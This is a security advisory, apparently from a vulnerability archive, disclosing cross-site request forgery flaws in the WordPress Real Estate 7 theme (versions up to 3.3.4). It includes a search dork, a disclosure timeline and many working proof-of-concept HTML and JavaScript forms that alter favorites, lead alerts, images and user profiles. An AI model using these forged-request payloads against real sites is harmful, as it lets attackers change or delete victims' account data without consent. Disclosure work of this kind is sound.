WordPress Real Estate 7 Theme <= 3.3.4 - Multiple Cross-Site Request Forgery (CSRF) Vulnerabilities

2023.03.05
ru FearZzZz (RU) ru
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] == Report Title: WordPress Real Estate 7 Theme <= 3.3.4 - Multiple Cross-Site Request Forgery (CSRF) Vulnerabilities Google Dork: inurl:/wp-content/themes/realestate-7/ Research Date: 2023-02-10 Researcher: FearZzZz [ https://fearzzzz.ru ] Component Vendor: Contempo Themes [ https://contempothemes.com ] Vulnerable Version: <= 3.3.4 Component Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778 CVSS Base Score: 6.3 (Medium) CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L OWASP Top 10: A01: 2021 – Broken Access Control CWE: CWE-352 CVE: TBA ================================================================================================= #### [ Description: ] The Real Estate 7 theme for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, v3.3.4, because of missing and incorrect nonce validation on several functions. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication. #### [ Impact: ] Impact of a CSRF vulnerability is related to the privileges of the target user. Depending on the nature of the action, an attacker might be able to change some data or gain full control over the user's account. If the compromised user has a privileged role (administrator, i.e.) within the application, then the attacker can gain full control over the application. #### [ Proof-of-Concept | Lead Alert Creation: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="ct&#95;email&#95;cron&#95;onoff" /> <input type="hidden" name="esetting" value="onsms" /> <input type="hidden" name="id" value="12" /> <input type="hidden" name="author&#95;id" value="22" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Add Property to Favorites: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/our-properties/our-exclusive-listings/"> <input type="hidden" name="wpfpaction" value="add" /> <input type="hidden" name="postid" value="1005" /> <input type="hidden" name="ajax" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Remove Property from Favorites: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/favorite-listings/"> <input type="hidden" name="wpfpaction" value="remove" /> <input type="hidden" name="page" value="1" /> <input type="hidden" name="postid" value="451" /> <input type="hidden" name="ajax" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Contact / Information Request: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-favorites.php" method="POST"> <input type="hidden" name="ctsubject" value="Fear&#32;is&#32;Big&#32;Business" /> <input type="hidden" name="name" value="FearZzZz" /> <input type="hidden" name="email" value="fearzzzz&#64;tutanota&#46;com" /> <input type="hidden" name="ctphone" value="no" /> <input type="hidden" name="message" value="Fear&#32;is&#32;Big&#32;Business" /> <input type="hidden" name="ctyouremail" value="fearzzzz&#64;tutanota&#46;com" /> <input type="hidden" name="ctproperty" value="https&#58;&#47;&#47;fearzzzz&#46;ru" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-listings.php" method="POST"> <input type="hidden" name="listing&#95;id" value="451" /> <input type="hidden" name="ctsubject" value="Fear&#32;is&#32;Big&#32;Business" /> <input type="hidden" name="name" value="FearZzZz" /> <input type="hidden" name="email" value="fearzzzz&#64;tutanota&#46;com" /> <input type="hidden" name="ctphone" value="" /> <input type="hidden" name="message" value="Fear&#32;is&#32;Big&#32;Business" /> <input type="hidden" name="ctyouremail" value="fearzzzz&#64;tutanota&#46;com" /> <input type="hidden" name="ctproperty" value="Z" /> <input type="hidden" name="ctlistingstreet" value="Z" /> <input type="hidden" name="ctlistingcity" value="Z" /> <input type="hidden" name="ctlistingstate" value="Z" /> <input type="hidden" name="ctlistingzip" value="Z" /> <input type="hidden" name="ctpermalink" value="https&#58;&#47;&#47;fearzzzz&#46;ru" /> <input type="hidden" name="ctlistingprice" value="Z" /> <input type="hidden" name="ctlistingsqft" value="Z" /> <input type="hidden" name="ctlistingbeds" value="" /> <input type="hidden" name="ctlistingbaths" value="" /> <input type="hidden" name="ctlistinglotsize" value="" /> <input type="hidden" name="ctlistingmlsnumber" value="" /> <input type="hidden" name="ctlistingpropertytype" value="Detached" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Lead Alert Deletion: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="ct&#95;delete&#95;search" /> <input type="hidden" name="property&#95;id" value="12" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Profile Image Deletion: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="ct&#95;ajax&#95;delete&#95;profile&#95;img" /> <input type="hidden" name="id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Broker Logo Deletion: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="ct&#95;ajax&#95;delete&#95;broker&#95;logo" /> <input type="hidden" name="id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Clear All Favorites: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/favorite-listings/"> <input type="hidden" name="wpfpaction" value="clear" /> <input type="hidden" name="ajax" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Buyer Profile Update: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://fearzzzz.ru/account-settings/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="first&#95;name" value="" /> <input type="hidden" name="last&#95;name" value="" /> <input type="hidden" name="nickname" value="fearzzzz" /> <input type="hidden" name="display&#95;name" value="FearZzZz" /> <input type="hidden" name="email" value="fearzzzz&#64;tutanota&#46;com" /> <input type="hidden" name="user&#95;url" value="" /> <input type="hidden" name="description" value="" /> <input type="hidden" name="pass1" value="" /> <input type="hidden" name="pass2" value="" /> <input type="hidden" name="twitterhandle" value="" /> <input type="hidden" name="facebookurl" value="" /> <input type="hidden" name="instagramurl" value="" /> <input type="hidden" name="linkedinurl" value="" /> <input type="hidden" name="youtubeurl" value="" /> <input type="hidden" name="mobile" value="" /> <input type="hidden" name="user&#95;additional&#95;phone&#95;1" value="" /> <input type="hidden" name="user&#95;additional&#95;phone&#95;2" value="" /> <input type="hidden" name="user&#95;mailing&#95;address" value="" /> <input type="hidden" name="updateuser" value="Update&#32;Profile" /> <input type="hidden" name="&#95;wpnonce" value="0451" /> <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;account&#45;settings&#47;" /> <input type="hidden" name="action" value="update&#45;user" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` #### [ Proof-of-Concept | Agent Profile Update: ] ``` <html> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/fearzzzz.ru\/account-settings\/", true); xhr.setRequestHeader("content-type", "multipart\/form-data; boundary=---------------------------333499251812319952534005853646"); xhr.withCredentials = true; var body = "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"first_name\"\r\n" + "\r\n" + "Agent\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"last_name\"\r\n" + "\r\n" + "Demo\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"nickname\"\r\n" + "\r\n" + "agent\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"display_name\"\r\n" + "\r\n" + "Demo Agent\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "agent@email.com\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"user_url\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"description\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"pass1\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"pass2\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"twitterhandle\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"facebookurl\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"instagramurl\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"linkedinurl\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"youtubeurl\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + "\r\n" + "1024000\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"ct_profile_img\"; filename=\"fearzzzz.jpg\"\r\n" + "Content-Type: image/jpeg\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"mobile\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"user_additional_phone_1\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"user_additional_phone_2\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"user_mailing_address\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"fax\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"title\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"tagline\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"agentlicense\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + "\r\n" + "1024000\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"ct_broker_logo\"; filename=\"fearzzzz.jpg\"\r\n" + "Content-Type: image/jpeg\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"brokeragename\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"brokeragelicense\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"office\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"address\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"city\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"state\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"postalcode\"\r\n" + "\r\n" + "\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"updateuser\"\r\n" + "\r\n" + "Update Profile\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + "\r\n" + "0451\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + "\r\n" + "/account-settings/\r\n" + "-----------------------------333499251812319952534005853646\r\n" + "Content-Disposition: form-data; name=\"action\"\r\n" + "\r\n" + "update-user\r\n" + "-----------------------------333499251812319952534005853646--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ``` #### [ Timeline: ] 2023.02.08 - Real Estate 7 Theme v3.3.4 released. 2023.02.10 - Vulnerability has been discovered. 2023.02.15 - Vendor notified. 2023.02.16 - Chris Robinson responded that the vulnerabilities have been fixed. The release of the new version v3.3.5 is scheduled for March 6. #### [ Contacts: ] Website: fearzzzz.ru Email: fearzzzz@tutanota.com Twitter: https://twitter.com/fear_zzzz Medium: https://fearzzzz.medium.com GitHub: https://github.com/fearzzzz YouTube: https://youtube.com/@fearzzzz #### [ Notes: ] Special thanks to Chris Robinson (Contempo Themes Founder & CEO) for the quick response and for the respectful communication. #### [ Disclaimer: ] The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages. ========================================================================== [ www.fearzzzz.ru ] ==

Referencje:

https://raw.githubusercontent.com/fearzzzz/fearzzzz.github.io/main/vulnerability/%5B2023-02-10%5D-%5BWordPress%5D-Real-Estate-7-Premium-Theme-v3.3.4-CSRF.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top